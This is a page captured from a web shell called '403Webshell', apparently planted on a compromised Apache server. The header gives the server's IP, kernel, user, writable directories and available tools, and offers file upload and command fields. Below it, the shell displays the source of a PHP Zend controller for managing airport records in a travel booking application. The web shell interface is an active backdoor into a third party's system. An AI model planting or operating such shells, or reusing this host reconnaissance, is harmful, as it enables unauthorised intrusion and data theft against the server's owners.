403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers/AirportController.php
<?php
/**
 * Class Airline
 *
 * @name		Airport
 * @author		Shailender Joshi
 * @editor		Shailender Joshi
 * @created		30 Sep 2016
 * @updateed    30 Sep 2016
 * @version 	1.0
 * @copyright 	Catabatic India Pvt Ltd
 * Handle Airport Related function for Front end only
 *
 */

class AirportController extends Zend_Controller_Action {
    
    public $imageUrl = NULL;
    
    public $baseUrl = '';
    
    public $tablename   = '';
    public $current_Modal     = '';
    
    public $per_page_record = GRID_PER_PAGE_RECORD_COUNT;


    public function init() {
        
        $request = Zend_Controller_Front::getInstance()->getRequest();
        $this->baseUrl = $request->getScheme() . '://' . $request->getHttpHost();

        $this->cityMdl       = new Travel_Model_TblCity();
	$this->current_Modal = new Travel_Model_TblAirport();
                
        $this->tablename    = 'TB_Master_Airport';
        
        $sessionLogin_user  = new Zend_Session_Namespace('sessionLogin_user');
        $this->intLoggedinUserId            = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserAgencySysId   = $sessionLogin_user->intLoggedinUserAgencySysId;
        
        if(empty($this->intLoggedinUserId)) {
            $this->_redirect('/login/');
        }
        
        $this->imageUrl = $this->baseUrl."/public/upload/airport/";
        
    }
    
     public function indexAction()
    {
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
		//Start Search Code
        $searchArr = array();
        $getData = array();
		  
        if($this->getRequest()->isPost())
        {
			$getData = $this->getRequest()->getPost();
            
                        if(!empty($getData))
                        {
                            $Title      = (@$getData['Title']!='')       ? @$getData['Title']    : '';
                                            $Code       = (@$getData['Code']!='')        ? @$getData['Code']     : '';
                                            $CityId     = (@$getData['cityList']!='')    ? @$getData['cityList'] : '';
                                            $CountryId  = (@$getData['CountryId']!='')    ? @$getData['CountryId'] : '';
                                            $filter1    = (@$getData['filter1']!='All')  ? @$getData['filter1']  : '';    // status part


                                       $searchArr = array(
                                        'Title'    => $Title,
                                                                    'Code'    => $Code,
                                                                    'CityId'   => $CityId,
                                                                    'CountryId'=> $CountryId,
                                                                    'filter1'  => $filter1,
                                                                    );
                                      // print_r($getData);
                                    } 
                            } 
                            else
                            {

                                    $Title      = $this->_getParam('Title');
                                    $Code       = $this->_getParam('Code');
                                    $CityId     = $this->_getParam('CityId');
                                    $CountryId  = $this->_getParam('CountryId');
                                    $filter1    = $this->_getParam('filter1');


                                    $filter1    = (@$filter1!='All') ? $filter1 : '';

                                    $searchArr = array(
                                        'Title'    => $Title,
                                                                    'Code'     => $Code,
                                                                    'CityId'   => $CityId,
                                                                    'CountryId'=> $CountryId,
                                                                    'filter1'  => $filter1,
                                                                    );

                                    //print_r($searchArr);

                            }
                            
                //print_r($searchArr);
                if($searchArr['CountryId']!=""){             
                    $this->view->city_listing = $this->current_Modal->getRecordListingWhere(trim(@$searchArr['CountryId']));
                    $this->view->city_selected = @$searchArr['CityId'];
                }
                
                $this->current_Modal->searchArr = $searchArr; // send Array - searchArr() to modal just for pagination
                $this->view->searchArr = $searchArr;

                // get country list array
                $objCountry = new Travel_Model_TblCountry();
                $this->view->countrylist = $objCountry->getCountryList();	

                // get city list array
                $this->view->citylist = $this->cityMdl->getRecordListing('TB_Master_Geo_City',array('CityId','Title'),1,1,0,'Title');	
		
		
		// pagination start
		$page = $this->_request->getParam('page',1); //get curent page param, default 1 if param not available.
		
		$data = $this->current_Modal->getAirportListingRecord(); // get all getHotelAmenityCategory
	        //print_r($data); die;
                
		$page=$this->_getParam('page',1);
                $paginator = Zend_Paginator::factory($data);      
                $paginator->setCurrentPageNumber($this->getRequest()->getParam('page')); // page number
                $perPage = $paginator->setItemCountPerPage($this->per_page_record); // number of items to show per page
                $this->view->paginator = $paginator;
                $this->view->totalrec = $paginator->getTotalItemCount();
		$this->view->currentPage = $this->_getParam('page');
		
		
    }
    
    
    public function addAction()
    {
        
        $form = new Travel_Form_Airport();
        $form->setAction($this->baseUrl."/airport/add")->setMethod("POST")->setName("addAirportForm");
        $this->view->form = $form;
            
            
		if ($this->getRequest()->isPost()) {

			$post = $this->getRequest()->getPost();  

			if ($form->isValid($post)) {
				
				try 
				{
						$addData = array(
							 'AirportTitle' => $post['Title'],
							 'AirportCode'  => $post['Code'],
							 'IATACode'     => $post['Code'],
							 'CountrySysId' => $post['countryList'],
							 'CityId'      => $post['cityList'],
							 'PlaceOneliner' => '',
							 'ICAO' =>'',
							 'GeoLat'  => $post['Latitude'],
							 'GeoLong'  => $post['Longitude'],
							 'AirportStartDate'=> date('Y-m-d h:i:s'),
							 'IsActive'   => 1,
							 'IsMarkForDel' => 0
							);
						
						// check Same Title name already exists or not ( Avoid duplicate entry)
						if($post['Title']!='' && $post['Code']!=''){
							$entryData   = $this->current_Modal->getRecordListingWhere($this->tablename, array('AirportTitle'), array('AirportTitle'=>$post['Title'], 'AirportCode'=>$post['Code']));
						}
						//print_r($entryDate); echo count($entryDate);
						if(!empty($entryData)){
							$this->view->eMsg = "Airport already exists.";
							
						} 
						else
						{
							$isinserted = $this->current_Modal->insertTable($this->tablename, $addData); 
							if($isinserted) {
								$this->_helper->flashMessenger->addMessage("Record added successfully");
								$this->_redirect("airport");
							}
							
						}
				}
				catch (Zend_Form_Exception $e) {
					$this->view->error_msg  = $e->getMessage(); 
				}                    

			}
			
		}

        $this->view->others   = array('baseUrl' => $this->baseUrl, 'action_name'=> 'add');
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
        
    }
    
    
    public function editAction()
    {
        $encodeId   = ($this->getRequest()->getParam('id'));
        $intId      = (int)base64_decode($encodeId);
	$page       = $this->getRequest()->getParam('page');
                
       if(!empty($intId) || !is_int($intId) )
        {
            
            # get listings of airport
            $resultset  = $this->current_Modal->getDetailsByUniqueId($intId);

            $form = new Travel_Form_Airport();
	    $form->setMethod("POST")->setName("editAirportForm");
			
            $editFormdata = array(
                                    'Title'=> $resultset['AirportTitle'],
                                    'Code'=> $resultset['AirportCode'],
                                    'countryList'=> trim($resultset['CountrySysId']),
                                    'Latitude'=> $resultset['GeoLat'],
                                    'Longitude'=> $resultset['GeoLong']
                                );

            $form->populate($editFormdata);
        
            $this->view->form = $form;
	    // send city list array according to country selected for airport
            $this->view->city_listing = $this->current_Modal->getRecordListingWhere(trim($resultset['CountrySysId']));
            $this->view->city_selected = $resultset['CityId'];
            
            if ($this->getRequest()->isPost()) {

                $post = $this->getRequest()->getPost();

	        if ($form->isValid($post)) {
						
			try {
					    
                        $editData = array(
                                        'AirportTitle'=> $post['Title'],
                                        'AirportCode'=> $post['Code'],
                                        'CountrySysId'=> $post['countryList'],
                                        'CityId'=> $post['cityList'],
                                        'GeoLat'=> $post['Latitude'],
                                        'GeoLong'=> $post['Longitude'],
                                       );

                        $where  = array('ISO =?'=> $intId);
                        $this->current_Modal->updateTable($editData, $where);
						
                        $this->_helper->flashMessenger->addMessage("Record updated successfully");
                        $this->_redirect("airport/index/page/$page");
                        
                    }
                    catch (Zend_Form_Exception $e) {
			$this->view->error_msg  = $e->getMessage();
		    } 
                    
                }
            }


            $this->view->resultset  = $resultset;
			$this->view->messages = $this->_helper->flashMessenger->getMessages();

        }
        
    }
    
    
	public function getcityajaxAction()
    {
        $this->_helper->layout()->disableLayout('');
        if ($this->_request->isXmlHttpRequest()) { 
            $country_id = $this->getRequest()->getParam('countryid');
			            
            $where = array('IsMarkForDel'=>'0', 'ContSysId'=>trim($country_id));

            $city_list = $this->cityMdl->getRecordListingWhere('TB_Master_Geo_City',array('CityId','Title'),$where,"Title", "ASC"); // call Method	
            //echo "<pre>";print_r($city_list);die;
			
            $select = '<option value="">--Select--</option>';
            
	    if($city_list!=""){
                
                $select = '<script src="/public/assets/js/pages/selectAjaxTag.js"></script>';
                $select .= '<select id="cityList" name="cityList" class="demo-default select-ajax-country" placeholder="Select City"><option value="">Select City</option>'; 
                foreach($city_list as $val){ 
                 $select .= '<option value="'.$val['CityId'].'">'.$val['Title'].'</option>';
		}
            } else {
                $select = '<script src="/public/assets/js/pages/selectAjaxTag.js"></script>';
                $select .= '<select id="cityList" name="cityList" class="demo-default select-ajax-country" placeholder="Select City"><option value="">Select City</option></select>'; 
            }   
                       
            echo $select;  
        }
        exit;
    }
	
	
    public function deleteAction()
    {
        /* Disable Layout & set Render False */
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $id  = base64_decode( $this->getRequest()->getParam('id'));
        $currentPage  = base64_decode( $this->getRequest()->getParam('page'));

		if($id) {
			$editData['IsMarkForDel']  = 1;           
			$where      = array('ISO =?'=> $id);
			$isupdated  = $this->cityMdl->updateTable($this->tablename, $editData, $where);
			if($isupdated)
				{
					$this->_helper->flashMessenger->addMessage("Record Deleted successfully.");
					$this->_redirect("airport/index/page/$currentPage");
				}
        }
        else {
                $this->_redirect("airport/index/page/$currentPage");
         }   
        
    }
	
	public function getlocationAction()
	{
        if ($this->getRequest()->isXmlHttpRequest())
		{
             /* Disable layout */
            $this->_helper->viewRenderer->setNoRender(true);

            $this->_helper->layout->disableLayout();
            $strAddress = $this->getRequest()->getPost('address');
            $arrLocation = $this->getHelper('General')->getLatitudeLongitude($strAddress);
            echo Zend_Json::encode($arrLocation);
            exit;
        }
    }
	
	public function filterStatusAction()
    {
        /* Disable Layout & set Render False */
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $filter  = $this->getRequest()->getParam('filter');
		$val     = $this->getRequest()->getParam('val');
		$id      = base64_decode( $this->getRequest()->getParam('id'));
        $currentPage  =  $this->getRequest()->getParam('page');

		if($id && $filter) {
			if($filter == 'filter1'){
				$editData['IsActive']  = ($val == 0) ? 1 : 0;           
			}
			if($filter == 'filter2'){
				$editData['IsApprove']  = ($val == 0) ? 1 : 0;                
			}	
			
			$where      = array('ISO =?'=> $id);
			$isupdated  = $this->cityMdl->updateTable($this->tablename, $editData, $where);
			if($isupdated)
				{
					$this->_helper->flashMessenger->addMessage("Record Update successfully.");
					$this->_redirect("airport/index/page/$currentPage");
				}
        }
        else {
                $this->_redirect("airport/index/page/$currentPage");
         }   
        
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit